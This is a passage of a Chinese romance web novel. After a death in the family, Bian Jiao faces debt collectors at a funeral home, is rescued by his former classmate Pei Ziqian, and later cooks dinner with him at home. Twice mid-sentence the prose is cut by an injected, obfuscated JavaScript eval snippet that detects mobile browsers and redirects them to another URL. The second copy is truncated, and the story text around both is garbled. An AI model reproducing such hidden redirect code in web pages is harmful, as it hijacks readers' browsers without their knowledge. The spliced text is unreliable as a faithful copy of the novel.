方岑在他身边坐着,表面上看起来没什么,但心底总觉得他太不对劲了。尤其是那会儿面对要债的那群人,对方居然直接朝前走去,俨然一副不惧与对方同归于尽的架势。这种情况下哪敢再让卞皎一个人待着,从保安室出来后便和红姨一起将他带回了他们家。 红姨在客房里待到又一次入夜,出来时给方岑点头,意思是对方睡着了。 第二天上午,方岑坐在客厅和刚到的刘成一起抽烟。 生死之事太过突然,但也并不是毫无预料,他早些时候给卞皎打的那通电话,其实就是劝对方把郑叔接回家,顺便可以开始准备后事。 只是没想到一切来得这么快。 红姨在准备早饭,小声说:“我怀疑,楼下那群人最近上去见过你郑叔,刺激到他了。” 方岑没有说话。 忽地,茶几上有震动声传来。刘成看了眼说:“这是小皎的手机。” 陌生来电,方岑直接接起,讲了两句后忽然站起身走到厕所,关上门。 不到一分钟他便再出来,放下手机就直接去叫卞皎起床吃饭,饭桌上没有一句提及方才的电话。 刘成看在眼里,觉得有些奇怪。 方岑没有告诉卞皎有通未接来电,而卞皎明明拿着手机,却也好像根本没有注意到。只有一种可能,那就是方岑删掉了通话记录。 他一直清楚方岑对卞皎的想法,对此斟酌几秒,最终还是没有多说什么。 下午张碧云和前夫没有来,一行人到殡仪馆处理完事情出来,外面居然又站着昨天在医院里见到的那堆人。 方岑像昨天一样又上前一步,却被卞皎拦下。 方岑就看着卞皎反倒上前。 “该给的赔偿我们已经给过了,”卞皎讲,“你们想要不合法的利息,抱歉,一分没有。” 他的声音十分平静。 那群人似乎是没想到他会出来说话,面面相觑,终于有一个上前。 “当初你爸和我们签合约的时候可不是这么说的。”那人说。 “那你就去找他。”卞皎说,说着他把手中的盒子往前送了送,面无表情:“就在这里,来吧。” “你……你不见棺材不落泪是吧?” 另外有一个人上前按住他:“你跟他一个黄毛小子费什么劲啊。”那人转过来对着卞皎,恫言:“不给钱可以,骨灰归我们了。” 说着他就上手要来抢卞皎怀里的盒子。 他的动作显然没有卞皎灵巧,方岑这时也上前,他就没能得逞。然后方的那几个人见到方岑出手,立马一齐上前来,架势像是要打群架,刘成着急去唤卞皎,谁料对方竟站在这群人之间丝毫没躲,那样子就像要跟那群人比谁的脑袋比拳头更硬一般。 刘成立马伸手,拿过卞皎怀中的盒子就要把他往后拉。 可是这时已经晚了,那群人大部分都有过案底,动起手来不分轻重,只见其中一个甚至举起一根黄色木棍。 刘成眼睛猛然瞪大,电光火石之间那木棍要往卞皎身上击来。 “砰——” 很大一声鸣响声传来。 那木棍击空落到门前的铁质栏杆上,而刘成的手也抓空,他立马去看卞皎,只见他竟被一个陌生人拉到一旁。 那是一个陌生男人,护在卞皎身前仿佛突然从天而降一般,侧头看他时,熟悉的声音低沉令人安心: “卞皎,有没有事?” 他问出这个话的同时,有穿制服的人上前分开那群讨债的人,现场局面瞬间被控制住。 刘成愣在原地,简直不知道究竟发生了什么。 他茫然地再次朝卞皎身前那个男人看去,这次才注意到对方穿了一件考究的黑色大衣,身形高大,侧颜俊逸中透着一抹熟悉。 而卞皎的眼睛就紧紧和他对视着,眼睫颤抖,几秒后,忽地抬起双手抱住了那个男人。被压抑了一天一夜的眼泪像是终于在这一瞬间决堤,那个男人也转身回抱过来。 “……骞,”刘成听见卞皎说,“裴子骞……” 男人没有说话,大手只一下又一下地在他背上摩挲安抚,动作轻缓而耐心。 混乱不堪中,他的肩膀被泪水泅湿一片。 - 方岑最后无可避免地进去了一趟,但不过一个小时就出来。 接他的只有刘成和红姨。 刘成什么也没问,只说:“你上午接的那通电话是?” 方岑坐在后座,望着窗外笑了一下。 “对,那男的打的。” 坦白来讲,方岑其实看不爽裴子骞,尤其是对方这两天犹如施舍一般替自己处理了黑料问题,更是令他心中一股无名火。 今早接到对方打给卞皎的电话,他的语气就难免带冲。 对方在听到他自报家门之后似乎并不意外,只平静地说了几句话后要让卞皎接电话。 方岑却沉默几息后说:“他接不了。” 裴子骞问为什么。 方岑轻笑了一下,只说:“你不是神通广大什么都能处理吗?现在回来,让郑叔从太平间里爬起来啊。” 讲完,他就挂断了电话。 眼下听到刘成问那他是不是删了通话记录, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15431807|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方岑轻蔑地扯了下唇角。 “删记录?我不做那种事。成哥,你觉得小皎今上午那副样子,还有精神点开通话记录吗?” 这种东西他根本不需要删,只是没想到裴子骞居然到得那么及时。 “我只知道他讲结束了一段关系,”刘成边转动方向盘说,“没想到对象居然是……” 方岑靠回椅背上,不再说话。 就连前座的红姨也少见地一言不发。 夕阳西下,从车窗可以看见远处地平线上的火烧霞光,日落短暂,一整个白天的存在在这一瞬间都被吞没。 主驾的车门从外打开,卞皎收回视线。 “附近店里只有冰水,现在天太冷,”对方说, “喝我保温杯里的水,可以么?” 卞皎轻轻点头,要从对方手中接过纸杯。 小拇指微不可察与对方的纸杯触碰一瞬,欲要收回,对方却没有松手。他抬眼,就对上对方深杳的双眸,那漆黑的瞳孔静得像一潭秋末冽湖。 对视几秒,对方终于松开,纸杯换执到卞皎手中。 “水应该是温的。” 对方收回手,边拧水杯杯盖边说:“但还是要小心端好。凑近一点。” 卞皎还在想着方才的对视,闻言身子便往前倾了一点。 对方看着他的动作。忽然笑了下,气息很轻,像海浪前进的一瞬波动。 “我是说,纸杯近一点。”他说:“还是我来吧。” 卞皎就看着手中的纸杯再度被对方取走。 这次那只手完全覆上了他的指尖,冰凉的肌肤触感在感官末端停留一瞬,他还未反应过来,那边就已有水声响起。 “喝烫一点还是温一点,要不要倒一点矿泉水?”对方垂着眸注视水流发问。 卞皎目光一移不移地看着那侧颜:“……不用,这样就好。” 有淡淡水汽从瓶口氤氲出来,衬得那鼻梁线条锋利得像把剑,成熟稳重的面孔上,对方的眼神却同记忆中的一样柔软。 柔软到有些像做梦。 四十八小时以来发生的每一件事情,都像在做梦。 “好了。”对方将纸杯递回,卞皎收回视线,小心接过。 果真是温水,捧在手上够暖,喝进喉中却是不烫不冷正好的温度。 卞皎一整天都没怎么喝水进食,此刻啜饮着这杯水如同沙漠旅人获赐甘泉,很快便喝完,杯子顺手递回对方面前。 这样的动作其实只是习惯,甚至当卞皎下一秒钟反应过来时都觉得有些冒犯,但对方似乎并没有认为有什么不对,很自然地就又将纸杯从他手中接过,重新斟下一杯。 “谢谢。”卞皎没有过多客气。 对方嗯了一声,待他饮完这杯后主动将杯子拿过去继续斟满。 如此往复三次,终于不再继续。 “是渴,还是饿?”对方问:“有没有吃饭?” 他的声音添上几分沉肃,但与过往几次见面的沉肃都不同,看向卞皎的眼神审慎认真,仿佛在问一个极度重要的问题。 卞皎盯着那双眼睛看了很久,捏着纸杯没有说话。 车内莫名陷入一阵岑寂。 对方等了许久没有等到回答,终于薄唇微启欲要说什么时,却见卞皎蓦然低下了眸,接着,他竟然抬手擦了下眼睛。 他的眼泪落得突然,落得莫名其妙,擦得他手背一片湿润,正觉得狼狈间,眼前倏忽递来一张纸巾。 对方没有问他为什么或是怎么了,只语调轻轻说: “先擦一擦。” 卞皎的眼泪顿时无法再控制住,连同呜咽都不再压抑,整个人的肩膀不受制约地颤抖起来。他用纸巾胡乱地在脸上擦抹,但却怎么也止不住不断掉落的泪滴,直到忽然感受到一只手臂覆上他的背脊,就像半个小时前在殡仪馆门前那样很慢很慢地抚摸安慰。 他终于从纸巾中抬起双眸,泛红的眼角像是被冬日最烈的寒风吹过。 仰起头对上那双眼睛,就像很多年前在某个楼梯间对上对方的那双眼睛,两天以来从来没有说出的话语在此刻终于说出口—— “我……我好难受。” “裴子骞,我真的好难受。” 43.N-一起2 这天晚上,裴子骞送卞皎回到宿舍。 这是重逢几个月来他第一次进入对方的居所,原本只是将对方送到楼下,但对方主动提出请他上楼。 一房一厅的宿舍,目光四下便可见方,与其说收拾得整洁,不如说是根本没什么东西。裴子骞注意到角落靠墙立着一个二十四寸的行李箱,侧面手柄处的行李贴牌都还没有撕掉,显然从下飞机后就没有打开过。 方才他们在车上坐了很久。 卞皎的眼泪其实止得很快,片刻后便停止抽泣对他说了一句谢谢,裴子骞回道不算什么,两人便都沉默下来。 卞皎的目光明显放远,眸底倒映着郊区日落时分变蓝的天空,依稀还能见到水光。裴子骞收回视线,感觉眼睑处隔几秒便抽动一瞬,半晌后,他伸出手握住对方放在腿上的手。 这个动作现在想来很冒昧,但当时他却没有带任何的其他情绪,仅仅是出于一种最简单的安慰想法。肢体接触最能感受到对方的状态,那双手凉得就像刚从冰水中游出,与他触碰时明显颤抖了一下,但仅仅一秒,接着没做任何反应。 支在方向盘上的左腕腕表分钟转动了大概三圈的时间,感觉那双手的温度渐渐恢复正常,裴子骞才终于抬起小臂欲要收回。 刚抬起一刹,却被反握住。 那只手的动作很轻,并没有阻碍他收回的动作,却像一块带着磁极的铁,慢慢地将他的手带回到方才的位置。 裴子骞终于侧首看了下卞皎。对方的目光依旧落在窗外。 他于是启了下唇,但片刻后才出声:“去吃饭?” 话题突兀,声音艰涩。 卞皎终于回头看他,目光相触的瞬间,他的手指似乎微微动了一下,指腹的温度划在裴子骞的手心。 裴子骞竭力稳住自己的声线。 “想吃什么?”他问。 他方才提问对方有没有吃饭,并未得到回答,但可以料想到答案。 高中时卞皎吃饭就常不规律,平日里看起来什么都无所谓的人,遇到诸如重要的年级考试之类的时候,其实比裴子骞都还要紧张,时常待到下午的考试都结束,才想起午饭居然忘记解决。 但即使这样,对于饮食,卞皎向来是很挑剔的,面对菜单永远会选择很久,最终都是由裴子骞不厌其烦给出一个标准答案。 果真,此刻的卞皎也没有立即回答他的问题。 等待几秒后,裴子骞像很久以前一样再度发问。 “杭帮菜怎么样?”他讲,“我知道一家餐厅。” 这就是他的标准答案。 过去阳山中学外两条街处有一家杭帮菜餐厅,卞皎从未说过喜欢吃,但每次多盛的一碗米饭都能证明他的喜爱,只要这个标准答案一出,从来不会出错。 可这一次,卞皎却收了下手指。 “我……回家吃。”他说:“我家还有菜。” 裴子骞听到这个回答,眼皮垂动一瞬。 几秒后他说:“那好。你家在哪?” 对方报出一个地址,裴子骞就收回右手,输入导航。 一系列动作进行得很快,右手换档后重新回到方向盘,直到驶出快三个路口,他才将注意力从虎口处的余温上收回。 车内只有导航的提示女音,以及偶尔的转向灯声音。 停到目的地楼下时,裴子骞踩刹车的动作很慢。 窗外的天已经全黑,唯余侧前方一盏路灯在散发光亮。裴子骞没有动作,微微侧首看着副驾上的身影低头解开安全带。 喉间有一抹苦涩的道别在斟酌着,迟迟难以出口。 这时,却见对方忽然抬头。 “……不一起吗?” 裴子骞反应了一下,落出一个困惑的鼻音。 不知道第几次对上对方的视线,就见那双眼睛在暮色中微微闪动,眼皮上那颗浅痣被路灯照得若隐若现。 “一起上去。”对方的声音带着明显的试探: “一起,吃饭。” …… 裴子骞知道卞皎住的地方不会太好,却没想到是这样的一栋老居民楼。 没有电梯,水泥楼梯间是触摸灯,卞皎住在五楼,他的脚步声轻缓,步幅不大不小,时不时微微侧头,看身后的裴子骞一眼。 直到看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卞皎的围裙很干净,蓝白色格子,可以看出并不常在家中做饭。 裴子骞取下手表后围上,系绳的动作干脆利落,备菜的时候却稍显生疏。工作几年,他有很长一段时间都在公司吃住,已经很久没有自己下过厨。 切肉丝时,锅内的水开了,他回过身去烫冬笋片,却听到身后有靠近的声音,侧过头去看,眸光不由一烁—— 卞皎接过了他切到一半的肉丝,正垂眸一下一下继续切着,动作流畅熟练。 裴子骞从来没有见过卞皎做菜。 至少他们分开前,对方还只会下一碗简单的清水面条,最多再卧个蛋清乱飞的鸡蛋,吃一半就撂下筷子说此生与厨房无缘。 一碟肉丝很快切好,接着他又从一旁取出几根小葱放到水下洗净,细白的手指在水流下捋着绿叶,细致地梳理到每个缝隙,关掉水后,那皮肤就因为温度的原因逐渐冷到泛红。 裴子骞收回视线,没有拒绝对方的帮忙。 他取过那盘切好的肉丝下锅,接下来的流程就熟练起来。直到最后铺上一层豆腐,盖上白瓷色锅盖,慢炖的小火上方传来咕嘟咕嘟的响声,他才终于转过身。动作看起来像结束忙碌后的漫不经心,但目光却十分有目标。 他同靠在冰箱旁的卞皎对视。 对方怀抱双手,应该是一直盯着他的背影出神。与他视线相贴的瞬间滞了一下,放下双手,似乎想要站直。 “还有二十分钟左右,”裴子骞先开口,“用不用再添两个菜?” “不用。”卞皎答得很快:“要不要去坐一会儿?” 他示意沙发。 裴子骞便微微点头,走出厨房。卞皎跟在他身后,拿出手机看了眼时间,虽然知道外面天已全黑,但看到还差十五分钟就到九点的时候还是不免觉得时间过得太快。 裴子骞没有再坐那套双人沙发,而是从茶几旁拉了一张木色高椅子——那本来是卞皎预备坐的。 既然如此,卞皎自己坐到沙发上。 家中待客,叫客人坐普通板凳,自己却坐更舒适的沙发,这本不合理,但眼下卞皎心中还有更不合理的问题。 “谢谢。”他很自然地先开口:“今天下午你的帮忙,还有过去几个月的事情。” 他与裴子骞之间实在是需要客气的关系,但客气起来总是那么的奇怪。 两天前的下午,他给那位宋先生打去那通电话时,其实有想过裴子骞会不会在对方身边。但他从来没有和裴子骞这样道谢过,以至于一时没有准备,问句到嘴边,最终却变成拜托代为转达。 可是今天的事情,他想自己说千万句感谢都不为过。 “真的谢谢,我那时候太冲动。如果不是你,不知道今天该怎么收场。” 从十四五岁开始记事起,卞皎一直觉得自己好像有一种能把什么事情都搞砸的魔力。 不论是邻里小孩还是和同学之间的关系,又或者是和裴子骞每周待在一起的那短短两个小时,他都从不能做到让人满意。以往有母亲包容他,母亲去世后有郑怀远,后来再加上一个裴子骞,以至于直到潮水褪去,一些东西真实地砸到他的眼前,他才意识到这么多年原来都在被人无限度地纵容。 这么大了还是这样。真是没有长进。 “你做的没错。”裴子骞却忽然说。 他的声音落得很轻,语调也很缓慢, “那群人的行为是在法律边缘试探,不必自责。” 卞皎抬眸去看他。 他没想到他会说他做得没错。 “我以为……”卞皎迟疑一下,说:“一个成年人,至少不应该那么情绪化。” “是吗?这个我不清楚。”裴子骞说:“其实或许并没有应该和不应该,不轻松的事情反倒更需要发泄出来,你觉得呢?” 卞皎没有回答,只看着他的眼睛许久,然后说:“但发泄过后的后果不好受。” 这句话后裴子骞也没有说话,同他对视片刻后点了下头。 “是不好受,发泄前应该考虑好后果。比如今天如果我没有及时赶到,那根棍子最终会砸到哪里,谁也无从得知。” 也许是话题沉肃,卞皎感觉他的语气也随之改变几分,恍然间竟然有些像当初拿着一根笔与他讲电学的时候。 卞皎最讨厌这一部分的电路分析,甚至连内接法和外接法都分不清,而裴子骞少有的不会迁就他,但在一场无聊透顶的补习过后,对方总是会任由他提出任何荒唐透顶的条件,并且一个一个地耐心满足。 时过境迁,再次听到这样的语气,卞皎还是有几分犯怵,但与此同时也伴随有几分难以压下的依恋。 他甚至想让裴子骞再多说几句。 可对方忽然换了话轮:“但我还是认为你没有错。” 卞皎一瞬怀疑自己听错,只听对方继续说: “比起忍耐,发泄最不伤身心。世界上最没有意义的词就是如果,今天我赶到了,不管那根棍子最终砸到哪里,至少可以确定没有落到你的身上,再讨论如果就没什么必要,反倒可以讨论假若你没有发泄,那事情又会变成什么样子。” 他的语速很慢,卞皎感觉自己甚至能够听清黏连的音节。 “再遇到这样的事情,你可以毫不犹豫选择发泄或者回击,如果因此产生什么麻烦需要帮助,随时可以电话我。”裴子骞说:“今天早晨给你打电话的那个号码,二十四小时都能接通。” 卞皎怔了下。 他本就被这一连串的话语击得七零八落,尚未能分神弄清字句背后的意味,却听到了一则根本不知道的讯息—— “电话?今晨……我没有与你打过电话。”他问。 “哦?”对方似乎也愣怔一 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只见裴子骞抬了下手:“抱歉,有通电话。” 卞皎便颔首,示意对方接就行。 裴子骞起身到窗边,低声说着电话。他的外套已经脱下,里面是一件淡蓝色衬衫,刚刚处理菜品的原因袖口被高高挽到小臂上方,卞皎这才注意到对方手腕处那块腕表表盘是蓝色的。 可以听到一些签字、方案之类的名词,知道对方是在聊工作。 旁听对方的电话总归不好,但整间房就这么大,卞皎想了想只能起身走进厨房。 原本还想问对方一些问题,暂时也就只能按下不提。 火上煨着的豆腐煲已经散发出香味,噗噜噜作响,卞皎将火稍稍调小了一些,不远处的那个男声又无法避免地进入他的听觉范围。 “……还不行,我知道。嗯,你决定就好。” 好像是很长的一通电话,不知道对面是哪一位。 是助理,还是鹏远的员工,或者是他上次打去电话的那位宋先生?又或者……是他的那位大学同学,绯闻女友,陈久玥? 卞皎垂了下眼皮,看着面前的白瓷锅。 忽然那声音的语气改变了,似乎变得更低。 “……你这个问题我没法回答,又或者不如直说,你想要听到怎样一个答案?” 虽然话语内容似乎不耐,但语气却低到一种没法形容的状态,甚至可以说是温下声。 卞皎抬起眼,目光虚停在从白瓷锅里飘出的热气中。 “毕竟交往一场……我是那样的人?”讲到这儿,那声音似乎顿了下,接着叹了声气,语调明显无奈: “陈久玥,你真的很会无理取闹。” 45.N-是谁4